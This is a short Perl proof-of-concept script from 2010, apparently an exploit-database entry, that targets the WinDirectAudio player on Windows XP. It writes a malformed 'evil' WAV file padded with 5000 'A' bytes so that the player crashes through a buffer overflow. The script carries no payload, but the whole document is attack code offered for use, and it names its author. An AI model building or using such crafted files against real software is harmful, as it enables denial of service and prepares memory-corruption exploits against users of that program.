#/usr/bin/perl#Title: WinDirectAudio(.WAV) PoC#[+]Date : May 21,2010 #[+]version: v1.0#[+]Author : ahwak2000#[+]Contact: z.u5[at]hotmail.com#[+]Geetz [2]: germaya_x#[+]tested on: windows xp sp2&sp3 EN#########################################
my $junk = "\x41" x 5000;
open(myfile,'>> ahwak2000.wav');
print myfile $junk."\r\n";
print "\nEvil WAV file created successfully.";